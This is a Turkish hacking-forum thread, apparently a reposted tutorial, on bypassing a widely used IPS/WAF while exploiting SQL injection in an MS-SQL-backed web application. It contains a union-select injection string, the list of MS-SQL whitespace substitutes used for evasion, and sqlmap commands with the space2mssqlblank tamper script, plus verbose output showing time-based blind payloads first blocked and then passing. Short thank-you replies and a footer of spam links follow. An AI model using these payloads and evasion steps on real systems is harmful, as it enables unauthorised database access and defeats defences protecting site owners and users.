SQL Injection'da IPS Atlatma Bypass

redkit

Prof Spys-z
Katılım
22 Nis 2013
Mesajlar
880
Tepkime puanı
2
Puanları
0
Sqlmap Tamper Script Kullanarak SQL Injection'da IPS Atlatma

Bu yazı Türkiye'de en fazla tercih edilen Ağ Tabanlı Atak Engelleme Sisteminin koruduğu bir web uygulamasına karşı gerçekleştirilen atlatma senaryosunu içermektedir. Ürün tüm imzaları aktif ve güncel kural veritabanına sahip durumdayken denenmiştir.

Veritabanı olarak olarak MS-SQL server kullanan ve önünde WAF/IPS cihazı bulunan bir web uygulamasındaki sql injection açıklığı, sqlmap tamper script kullanılarak ve güvenlik cihazları atlatılarak istismar edilebilir.

Bir çok WAF/IPS güvenlik cihazının çalışma mantığında belirli kelime öbeklerini girdide bulmak için boşluk karakteri referans alınır. Örneğin union ve select kelimelerini sevmeyen bir IPS cihazı bu kelimeleri girdide ararken bu kelimelerin başında ve sonunda boşluk karakteri arar veya boşluk karakterlerinin önünü ve sonunu okur bu kelimeler ile eşleşme olursa ilgili imza gereğini gerçekleştirir.

Bu mantık ile çalışan bir IPS cihazı kullanıcıdan aldığı aşağıdaki gibi bir girdiyi bloklar;
Kod:
admin';union select null,null,ad from users--

Fakat boşluk karakteri yerine rastgele bir ifade(AA) yazarsak aşağıdaki gibi bu sql sorgusu IPS cihazına takılmayacaktır;

Kod:
admin;'unionAAselectAAnull,null,adAAfromAAusers--


Not:AA test amaçlı verilmiştir backend dbms üzerinde çalışacak bir ifade degildir. AA yerine backend dbms uygulamasında boşluk için alternatif olacak bir değer girilmelidir.

Şimdi bu durumu veritabanı olarak Mssql server kullanan ve önünde IPS cihazı bulunan bir web uygulamasındaki sql injection açıklığını istismar etmede nasıl kullanılabileceğine değinelim.

Mssql üzerinde boşluk karakterine alternatif olabilecek ifadeleri bir diziye atarak her seferinde bu diziden random bir değeri boşluk ifadelerinin olduğu yerlere yerleştiren ve sorguyu bu şekilde hedefe gönderen space2mssqlblank.py sqlmap tamper scriptini kullanacağız.

Mssql üzerinde boşluk karakterine alternatif olan diğer değerler aşağıdaki gibidir;
Kod:
%01, %02, %03, %04, %05, %06, %07, %08, %09, %0A, %0B, %0C, %0D, %0E, %0F

Bu değerler bir dizi içerisinde tutulup her sql sorgusu içerisindeki boşluk değerlerine rastgele olarak atanıp sorgular backend dbms sistemine gönderilir. Bu şekilde aradaki güvenlik cihazları kolaylıkla bypass edilebilmektedir.

IPS sistemi ile korunan bir web uygulamasındaki sql injection açıklığını sqlmap ile istismar ederken ilgili script kullanılmadığındaki durum aşağıdaki gibidir;

Kod:
root@bt:/pentest/database/sqlmap# ./sqlmap.py -r bb.txt --dbs --current-user --current-db --keep-alive --dbms "mssql" --technique T -v 3

...
...
[22:46:16] [INFO] POST parameter 'username' is 'Microsoft SQL Server/Sybase time-based blind' injectable
[22:46:16] [INFO] checking if the injection point on POST parameter 'username' is a false positive
[22:46:16] [PAYLOAD] admin) IF((19+18)=37) WAITFOR DELAY '0:0:5'--
[22:46:46] [PAYLOAD] admin) IF(19=18) WAITFOR DELAY '0:0:5'--
[22:47:18] [PAYLOAD] admin) IF(18>(66+19)) WAITFOR DELAY '0:0:5'--

[22:47:48] [WARNING] false positive or unexploitable injection point detected
[22:47:48] [WARNING] POST parameter 'username' is not injectable

...
...

Yukarıdaki gibi boşluk karakterleri olduğu gibi gönderilen sorgular IPS tarafından geçirilmediğinden dolayı sqlmap açıklığı doğrulayamamış yada istismar edilemeyecek bir açıklık olarak değerlendirmiştir.

Şimdi ise boşluk karakterleri yerine MS Sql serverdaki alternatif değerlerini rastgele kullanan tamper scripti sqlmap aracına verip sonucu görelim;

Kod:
root@bt:/pentest/database/sqlmap# ./sqlmap.py -r bb.txt --dbs --current-user --current-db --keep-alive --dbms "mssql" --technique T --tamper "space2mssqlblank.py" -v 3 --flush-session

[22:58:00] [INFO] POST parameter 'username' is 'Microsoft SQL Server/Sybase time-based blind' injectable
[22:58:00] [INFO] checking if the injection point on POST parameter 'username' is a false positive
[22:58:00] [PAYLOAD] admin'%0FIF((62+76)=138)%0AWAITFOR%05DELAY%0B'0:0:5'--
[22:58:05] [PAYLOAD] admin'%0AIF(62=76)%08WAITFOR%03DELAY%04'0:0:5'--
[22:58:06] [PAYLOAD] admin'%0EIF(62>(63+76))%04WAITFOR%04DELAY%02'0:0:5'--
[22:58:06] [PAYLOAD] admin'%0EIF((63+62)>201)%06WAITFOR%0DDELAY%0C'0:0:5'--
[22:58:07] [PAYLOAD] admin'%0AIF(138=(62+76))%0EWAITFOR%03DELAY%05'0:0:5'--

POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

Yukarıdaki gibi hedefe gönderilen payloadlarda, boşluk karakterinin Mssql serverdaki alternatif değerleri random olarak verilerek IPS cihazı atlatılmıştır. Bir çok WAF/IPS imzaları bu mantıkla çalıştığı için belirtilen yöntemle kolaylıkla bypass edilebilirler.

Alıntıdır.
 

MassCrew

Prof Spys-z
Katılım
21 Nis 2013
Mesajlar
1,116
Tepkime puanı
0
Puanları
0
Yaş
27
yararlı sağol kanka
 

Kzsg

Prof Spys-z
Katılım
28 Ara 2013
Mesajlar
946
Tepkime puanı
0
Puanları
0
arşivde :D durur
 

mersin escort mersin e ticaret bodrum escort fethiye escort alanya escort konya escort marmaris escort bodrum escort vozol puff sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort ankara escort meritking giriş
Üst
Copyright® Ajanlar.org 2012